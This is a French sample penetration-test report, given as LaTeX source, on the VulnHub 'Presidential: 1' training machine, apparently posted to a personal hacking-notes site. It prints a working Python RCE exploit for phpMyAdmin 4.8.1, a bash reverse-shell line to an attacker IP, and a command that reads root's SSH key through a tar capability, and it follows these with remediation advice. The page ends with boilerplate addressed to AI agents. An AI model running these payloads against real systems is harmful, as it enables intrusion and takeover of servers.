> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Rapport 1 - Compte rendu LaTeX Presidential

{% hint style="warning" %}
Voici un exemple de rapport technique professionnel, simulant que je travaille pour Orange Cyberdefense, concernant un audit environnemental et d'entreprise "[Présidentiel](/fr/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Pour cette analyse, j'ai utilisé une machine VulnHub préconfigurée présentant des vulnérabilités web et des risques d'escalade de privilèges.

Le rapport a été rédigé à l'aide du [LaTeX](https://www.overleaf.com/) logiciel, reconnu pour sa complexité technique mais aussi pour sa grande utilité et sa capacité à produire des rapports de qualité professionnelle avec une grande liberté de personnalisation. Vous trouverez ci-dessous le code LaTeX et le fichier PDF illustrant cet exemple.
{% endhint %}

{% file src="/files/d01c80ec6cb23af15baabbf441b66a4cb84a0ba0" %}

<div data-full-width="false"><figure><img src="/files/8460061d04c88fef4273a303bfcbd9210feb5996" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Configuration de l'environnement pour générer des fichiers PDF à partir de LaTeX :</summary>

1. Vérifier l'application par défaut pour les fichiers PDF :

```bash
xdg-mime query default application/pdf
```

2. Définir Zathura comme application par défaut pour les fichiers PDF :

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Créer le fichier .tex pour votre document :

```bash
touch presidential.tex
```

4. Compiler le document :

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="/files/7dcbdd8789df0eae9e1e49dd8bea6373c9a478e8" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Paquets
/usepackage[utf8]{inputenc} % Encoder votre texte en UTF-8
/usepackage[english]{babel} % Langue anglaise
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Mise en page
/usepackage{graphicx} % Pour inclure des images
/usepackage[table,xcdraw]{xcolor} % Couleurs
/usepackage{tikz,lipsum,lmodern} % Dessins
/usepackage[most]{tcolorbox} % Boîtes personnalisées
/usepackage{fancyhdr} % En-têtes et pieds de page
/usepackage[hidelinks]{hyperref} % Hyperliens
/usepackage{setspace} % Espacement entre les lignes
/usepackage{listings} % Affichage du code source
/setstretch{1.2} % Interligne
/usepackage{parskip} % Espacement entre les paragraphes
/setlength{/parindent}{0pt} % Pas de retrait de paragraphe
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Espacement des paragraphes
/setlength{/parfillskip}{/parindent plus 1fill} % Justification du texte
/usepackage[figurename=Figure]{caption} % Libellé des figures
/usepackage{ragged2e} % Justification du texte

% Variables
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Présidentiel : 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21 février 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Couleurs
/definecolor{bluePortada}{HTML}{146c8a}

% Personnalisation du titre
/addto/captionsenglish{/renewcommand{/contentsname}{Table des matières}}

% En-têtes et pieds de page
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Logo de l'entreprise à gauche de l'en-tête
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Logo de la plateforme à droite de l'en-tête
/renewcommand{/headrulewidth}{3pt} % Épaisseur de la ligne d'en-tête
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Couleur de la ligne d'en-tête

% Configuration des légendes du code source
/renewcommand{/lstlistingname}{Code}

% Styles du code source
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  breakable,
  enhanced,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Définition,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Couleur des commentaires
    keywordstyle=/color{magenta}, % Couleur des mots-clés
    numberstyle=/tiny/color{codegray}, % Style des numéros de ligne
    stringstyle=/color{codepurple}, % Couleur des chaînes
    basicstyle=/ttfamily/footnotesize, % Style de texte de base
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Configuration globale du style du code

% Début du document
/begin{document}
/cfoot{/thepage} % Pied de page avec numéro de page
  /begin{titlepage} % Page de titre
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Logo de la page de titre
{/scshape/LARGE /textbf{Rapport technique}/par/vspace{0.4cm}} % Titre du rapport
{/Huge/textcolor{bluePortada}{/textbf{Machine /machineName}}} % Nom de la machine
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Image de la machine
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Encadré de confidentialité
    /centering
Ce document est confidentiel et contient des informations sensibles. // Il ne doit pas être imprimé ni partagé avec des tiers.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Date du rapport
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Début de la table des matières
/clearpage
/tableofcontents % Table des matières
/clearpage

/section{Contexte}
Ce document présente les résultats obtenus lors de la phase d'audit menée sur la machine /textbf{/machineName}, en listant tous les vecteurs d'attaque trouvés ainsi que l'exploitation réalisée pour chacun d'eux.

Cette machine a été téléchargée depuis la plateforme /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}, une plateforme de formation et de pratique pour les personnes intéressées par la sécurité informatique et le piratage éthique. Ci-dessous est fourni le lien de téléchargement de cette machine :

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL cible,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Page d'accueil du service web de la machine}
/end{figure}
/vspace{1cm}
/section {Objectifs}
Les objectifs de cet audit de sécurité sont d'identifier les vulnérabilités et faiblesses possibles sur la machine /textbf{/color{bluePortada}/machineName}, dans le but de garantir l'intégrité et la confidentialité des informations qui y sont stockées.

Dans cette optique, une analyse exhaustive de tous les services exposés détectés sur ce serveur a été réalisée, en recueillant des informations détaillées sur ceux présentant un risque potentiel du point de vue de la sécurité.
/clearpage

/subsection{Périmètre}

Les objectifs à atteindre pour cet audit sont présentés ci-dessous :

/begin{itemize}
/item Identifier les ports et services vulnérables.
/item Exploiter les vulnérabilités identifiées.
/item Obtenir un accès au serveur en exploitant les services vulnérables identifiés.
/item Lister les pistes potentielles d'escalade de privilèges dans le système une fois celui-ci compromis.
/end{itemize}

/subsection{Contraintes et limites}

Au cours du processus d'audit, il est strictement interdit d'effectuer l'une des activités suivantes :

/begin{itemize}
/item Réaliser des tâches pouvant entraîner un /textbf{déni de service} ou affecter la disponibilité des services exposés.
/item Supprimer les fichiers présents sur le serveur une fois celui-ci compromis.
/end{itemize}

/subsection{Résumé général}

Cet audit a révélé de nombreuses vulnérabilités de sécurité importantes compromettant l'intégrité et la confidentialité des informations hébergées sur le serveur. De l'exposition de fichiers de sauvegarde sensibles à l'exploitation de vulnérabilités critiques dans phpMyAdmin, le serveur s'est révélé vulnérable à diverses attaques.

L'identification des sous-domaines, l'énumération des services exposés et l'exploitation de panneaux d'authentification faibles ont constitué des points d'entrée clés pour les attaques menées durant cet audit.

Il est essentiel d'agir immédiatement pour remédier à ces vulnérabilités et atténuer les risques de sécurité. Il est fortement recommandé de mettre à jour phpMyAdmin vers la version la plus récente et de mettre en place des mesures de sécurité supplémentaires, telles que la restriction de l'accès aux fichiers sensibles et l'implémentation de filtres d'entrée appropriés dans les applications web exposées.

En résumé, cet audit souligne l'importance de maintenir une posture de sécurité système proactive, en réalisant des audits périodiques, en appliquant des correctifs de sécurité et en suivant les bonnes pratiques de cybersécurité pour protéger les actifs numériques d'une organisation.

/clearpage
/section{Reconnaissance}
/subsection{Énumération des services exposés}
Ci-dessous se trouve la preuve des ports et services identifiés lors de la reconnaissance effectuée avec l'outil /textbf{nmap} :
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Énumération des ports avec nmap}
/end{figure}

/vspace{0.3cm}
Dans ce cas, deux ports actifs ont été identifiés à l'aide du protocole TCP :

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Port 80};
/node (port2) [below right of=center, node distance=3cm] {Port 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

De même, aucun port exposé via d'autres protocoles n'a été trouvé, de sorte que l'évaluation des ports identifiés lors du premier balayage est priorisée.

/clearpage
/subsection{Énumération des serveurs web}

Voici les résultats obtenus avec l'outil /textbf{WhatWeb}, un outil de reconnaissance web utilisé pour identifier les technologies web spécifiques employées sur un site, après reconnaissance du service HTTP fonctionnant sur le port 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Énumération du service HTTP sur le port 80}
/end{figure}

Les résultats obtenus permettent d'identifier les versions de certaines des technologies existantes :

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Technologie} & /textbf{Version} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Parmi les informations fournies, il est également possible d'identifier 2 adresses e-mail, qui pourraient être utilisées dans des attaques de /textbf{phishing} :

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{phishing} est un type d'attaque informatique utilisé pour tromper des individus afin d'obtenir des informations confidentielles telles que des mots de passe, des informations bancaires ou des données de carte de crédit. L'attaque est menée en envoyant des e-mails ou des messages texte frauduleux qui semblent légitimes et demandent au destinataire de fournir des informations personnelles et confidentielles.

De plus, il a également été possible d'identifier la version de /textbf{Centos} active grâce à une reconnaissance exhaustive réalisée sur le service web avec l'outil /textbf{wig}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Énumération du service HTTP sur le port 80}
/end{figure}
/clearpage

/subsection{Énumération des sous-domaines}
Une fois le domaine '/textbf{votenow.local}' identifié grâce aux e-mails, une attaque par force brute a été menée sur le domaine principal afin d'identifier des sous-domaines valides.

Après avoir terminé l'attaque par force brute, voici les résultats obtenus :

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Sous-domaines identifiés avec Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
Le sous-domaine '/textbf{datasafe.votenow.local}' a été identifié comme un sous-domaine valide. Ce sous-domaine a joué un rôle crucial dans l'audit, car c'est par son intermédiaire que l'accès au système a été obtenu en exploitant une vulnérabilité présente dans /textbf{phpMyAdmin}.

Veuillez noter que pour que ces domaines et sous-domaines soient accessibles, il a été nécessaire d'ajouter le contenu suivant au fichier '/textbf{/etc/hosts}' :

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Contenu du fichier /etc/hosts}
/end{figure}
/vspace{0.3cm}
Cela est dû à l'application de '/textbf{hébergement virtuel}', une technique utilisée sur les serveurs web pour héberger plusieurs sites sur une seule machine physique. Le fichier '/textbf{/etc/hosts}' est utilisé pour associer le nom de domaine de chaque site à l'adresse IP du serveur.

En l'absence de cette association, le serveur web ne pourra pas déterminer le site correct à servir, ce qui entraînera une erreur ou l'affichage d'un site incorrect.
/clearpage
/subsection{Énumération des panneaux d'authentification}
Une fois le sous-domaine '/textbf{datasafe.votenow.local}' découvert, comme montré dans l'image /ref{fig:identifiedSubdomains} à la page /pageref{fig:identifiedSubdomains}, le panneau d'authentification /textbf{phpMyAdmin} suivant a été trouvé :

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{Panneau d'authentification phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Identification et exploitation des vulnérabilités}
/subsection{Exposition d'un fichier de sauvegarde}

Lors d'une phase de reconnaissance avec l'outil /textbf{gobuster}, un outil en ligne de commande open source utilisé pour rechercher et énumérer les ressources web sur des serveurs et des sites web, un fichier de sauvegarde exposé a été identifié sur le serveur :

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Fichier de sauvegarde exposé sur le serveur}
/end{figure}

/clearpage

Ce fichier a été téléchargé pour vérifier s'il contenait des informations sensibles susceptibles de poser un risque de sécurité. À ce stade, il a été déterminé que le fichier contenait les informations privilégiées suivantes :

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Contenu du fichier de sauvegarde des identifiants}
/end{figure}

Ces identifiants correspondent aux identifiants d'accès à la base de données, ce qui a permis, en raison d'une réutilisation du nom d'utilisateur et du mot de passe, d'accéder à /textbf{phpMyAdmin} comme représenté dans l'image /ref{fig:phpMyAdmin} à la page /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Connexion à l'interface de contrôle phpMyAdmin}
/end{figure}

/clearpage
/subsection{Exploitation de phpMyAdmin}
Une fois connecté à /textbf{phpMyAdmin}, il a été possible d'identifier la version actuellement utilisée :

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Version utilisée de phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Cette version correspond à une /textbf{ancienne version} de phpMyAdmin, exposant ainsi plusieurs /textbf{vulnérabilités critiques} identifiées :

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Vulnérabilités de la version de phpMyAdmin utilisée}
/end{figure}


/clearpage
Parmi elles, l'une peut permettre à un attaquant malveillant d'/textbf{exécuter du code à distance} sur le serveur.

Voici ci-dessous le script Python3 qui a été utilisé pour exécuter des commandes à distance sur le serveur :

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit pour la version vulnérable de phpMyAdmin]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
Une fois l'exécution et l'injection d'une commande permettant l'accès au système effectuées, l'accès au serveur a été obtenu :

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Obtention de l'accès au serveur par exploitation de phpMyAdmin}
/end{figure}

Dans ce cas, une commande est exécutée via '/textbf{curl}', en interprétant un script Bash contenant le contenu suivant :

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Script Bash chargé d'établir la connexion]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Ce script est hébergé sur le serveur de l'attaquant, évitant ainsi de laisser des fichiers résiduels sur le serveur cible. Une fois la commande exécutée, l'attaquant obtient l'accès au serveur et prend le contrôle de la machine dans ce cas, en tant qu'utilisateur '/textbf{apache}'.

Comme on peut le voir dans le script, ce qui se produit essentiellement est que le script exploite une vulnérabilité /textbf{LFI} présente dans cette version de phpMyAdmin afin d'obtenir l'exécution de commandes à distance :

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Extrait de code lié à l'exploitation de LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) est une vulnérabilité de sécurité dans les applications web qui permet à un attaquant d'accéder à des fichiers locaux sur le serveur en incluant des fichiers locaux dans une page web.
/end{definicion}
/clearpage

Grâce au LFI, nous obtenons des informations sur une ressource PHP qui stocke les sessions, représentant des informations liées aux différentes sessions actives côté utilisateurs.

En exploitant cette lecture et la propre session de l'utilisateur, nous utilisons une /textbf{requête SQL} pour insérer une requête contenant du code PHP, visible depuis les fichiers de session de l'utilisateur via le LFI. Cela conduit donc à l'exécution de commandes à distance, car le code PHP n'est pas interprété par le serveur.

/section{Élévation de privilèges}
Une fois l'ensemble du système compromis, l'objectif principal est désormais d'obtenir les privilèges les plus élevés possibles sur le serveur. Dans le but d'augmenter nos permissions et d'obtenir un contrôle et un accès plus importants à tous les services exposés.
/subsection{Migration vers l'utilisateur administrateur}
Sur le serveur, il existe un utilisateur Administrator qui semble bien configuré car nous avons un /textbf{accès restreint} depuis l'utilisateur apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Accès refusé au répertoire d'accueil de l'administrateur}
/end{figure}

Cependant, dans la base de données précédemment compromise, un mot de passe haché apparaît avec le même nom d'utilisateur que celui de cet utilisateur. La réutilisation des mots de passe pour un utilisateur est quelque chose de critique et, dans ce cas, cela aboutirait à une migration directe de l'utilisateur.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Mot de passe haché stocké dans la base de données de l'utilisateur admin}
/end{figure}
/clearpage
/subsection{Cassage du mot de passe haché exposé de l'utilisateur admin}
Comme le mot de passe est haché, nous utiliserons l'outil /textbf{john} pour casser le hash du mot de passe admin afin de le déchiffrer et de le voir en clair. Dans ce cas, un dictionnaire contenant plus de dix millions de combinaisons différentes a été utilisé et, comme le mot de passe n'est pas très complexe, l'outil a pris quelques minutes pour le casser et l'exposer.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Mot de passe en clair déchiffré de l'utilisateur admin}
/end{figure}
/vspace{0.3cm}
/newline La migration vers l'utilisateur admin a été possible en raison de la /textbf{réutilisation du même mot de passe} pour l'utilisateur admin à la fois dans la base de données et dans l'utilisateur du système. C'est une mauvaise pratique et il est recommandé d'avoir un mot de passe différent pour chaque service afin d'éviter des problèmes critiques comme dans ce cas.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Accès au répertoire de l'utilisateur privilégié admin}
/end{figure}
/clearpage
/subsection{Vulnérabilité des capacités de permissions exposant la clé SSH}
/vspace{0.3cm}
/begin{definicion}
Les capacités dans Linux sont un mécanisme de sécurité qui accorde des privilèges spécifiques aux programmes, permettant des opérations restreintes sans avoir besoin d'accorder un accès root complet.
/end{definicion}
Dans ce cas, une permission de capacité a été trouvée, permettant avec l'outil tarS de consulter tous les fichiers du système sans aucune règle ni blocage, puisqu'ils étaient exécutés depuis l'utilisateur root. En exploitant cette permission, la /textbf{clé privée SSH} de l'utilisateur root a été listée avec la commande suivante :

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {Clé privée SSH de l'utilisateur root}
/end{figure}
/subsection{Accès root au système}
Finalement, l'accès à la machine avec des privilèges root a été obtenu. Il est urgent de supprimer la capacité de l'outil tarS et de trouver une alternative qui ne permette pas cette escalade de privilèges.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Obtention du flag de l'utilisateur root}
/end{figure}
/clearpage
/section{Contre-mesures et bonnes pratiques}

Afin d'éviter toute exploitation indésirable possible sur le serveur exposé, les bonnes pratiques à suivre pour les différentes vulnérabilités découvertes sont listées ci-dessous.

/subsection{Vulnérabilité de phpMyAdmin 4.8.1}
phpMyAdmin est un outil populaire de gestion des bases de données MySQL via une interface web. Cependant, la version 4.8.1 de phpMyAdmin présente des vulnérabilités connues qui peuvent permettre à un attaquant d'exécuter du code arbitraire sur le serveur web où il est hébergé.

Pour corriger cette vulnérabilité, il est nécessaire de /textbf{mettre à jour} vers la version la plus récente de phpMyAdmin (actuellement la version 5.2.1). Si, pour une raison quelconque, la mise à jour vers la dernière version n'est pas possible, il existe quelques mesures que vous pouvez prendre pour atténuer le risque d'exploitation :
/begin{itemize}
/item Corriger le code du script '/textbf{index.php}' afin que la variable fournie par l'utilisateur '/textbf{target}' soit correctement contrôlée.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Paramètre cible vulnérable}
/end{figure}

/begin{itemize}
/item Au lieu d’autoriser l’utilisateur à spécifier n’importe quel fichier à inclure, définissez une liste de fichiers autorisés et vérifiez que la valeur passée au paramètre '/textbf{target}' figure dans la liste avant d’inclure le fichier.
/end{itemize}

/subsection{Élévation de privilèges via les capacités}
Tout d’abord, supprimez la capacité de l’outil tarS. Pour corriger et vérifier si un service ou un outil est vulnérable à cette élévation de privilèges, vous pouvez visiter le site web suivant, qui contient un moteur de recherche répertoriant toutes les vulnérabilités possibles sur ce sujet :
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL cible,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Conclusions}
L’audit de sécurité mené sur la machine /textbf{Presidential: 1} a révélé une série de vulnérabilités critiques mettant en danger l’intégrité et la confidentialité des informations hébergées sur le serveur. De la divulgation de fichiers sensibles à l’exploitation de vulnérabilités dans phpMyAdmin, l’importance de maintenir tous les composants du système à jour et de suivre de bonnes pratiques de sécurité a été mise en évidence.

L’exploitation réussie de la vulnérabilité dans phpMyAdmin a permis à des attaquants d’accéder au serveur et d’élever leurs privilèges jusqu’au compte administrateur, compromettant ainsi l’ensemble du système. Cela souligne l’importance de mettre en place des mesures de sécurité proactives, telles que des mises à jour régulières des logiciels, une bonne gestion des mots de passe et une surveillance continue du serveur.

Pour se protéger contre de futures attaques, il est fortement recommandé de mettre en œuvre les contre-mesures mentionnées précédemment et de suivre les bonnes pratiques en matière de cybersécurité. La sécurité doit être une préoccupation constante et prioritaire afin d’assurer la protection des actifs numériques et la continuité des activités.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
